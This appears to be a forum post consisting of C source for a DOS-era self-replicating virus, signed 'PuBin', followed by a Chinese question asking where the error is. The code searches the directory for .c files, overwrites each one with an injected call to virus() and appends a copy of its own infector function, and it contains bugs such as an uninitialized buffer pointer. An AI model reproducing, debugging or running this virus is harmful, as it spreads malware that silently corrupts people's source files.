#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
 i=0;
 if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
 {
 goto next;
 }
 do{
    if(i>=50)
    {
fclose(in);
goto next;
    }
    p=fgets(buf[i],80,in);
    i++;
   }while(p!=NULL);
   fclose(in);
   out=fopen(ffblk.ff_name,"w+t");
   fputs("#include<stdio.h>\n",out);
   fputs("#include<dir.h>\n",out);
 do
 {
  if(strstr(buf[j],main)!=NULL)
  {
   for(;j<i-1;j++)
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
   fputs(buf[j],out);
   else
   {
    if(flag==0)
    {
flag=1;
fputs("virus();\n",out);
    }
    fputs(buf[j],out);
   }
 }
 else if((strstr(buf[j],include[0])==NULL)
 &&(strstr(buf[j],include[1])==NULL))
 {
fputs(buf[j],out);
j++;
 }
 else
 j++;
 }while(j<i-1);
 read=fopen(virus,"rt");
do
{
 p=fgets(buffer,80,read);
 if(strstr(buffer,int_virus))
 while(p!=NULL)
 {
  if(strstr(buffer,virus)==NULL)
  fputs(buffer,out);
  else
  {
                fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
        fputs("\";\n",out);
 }
 p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}  

错在那里呢？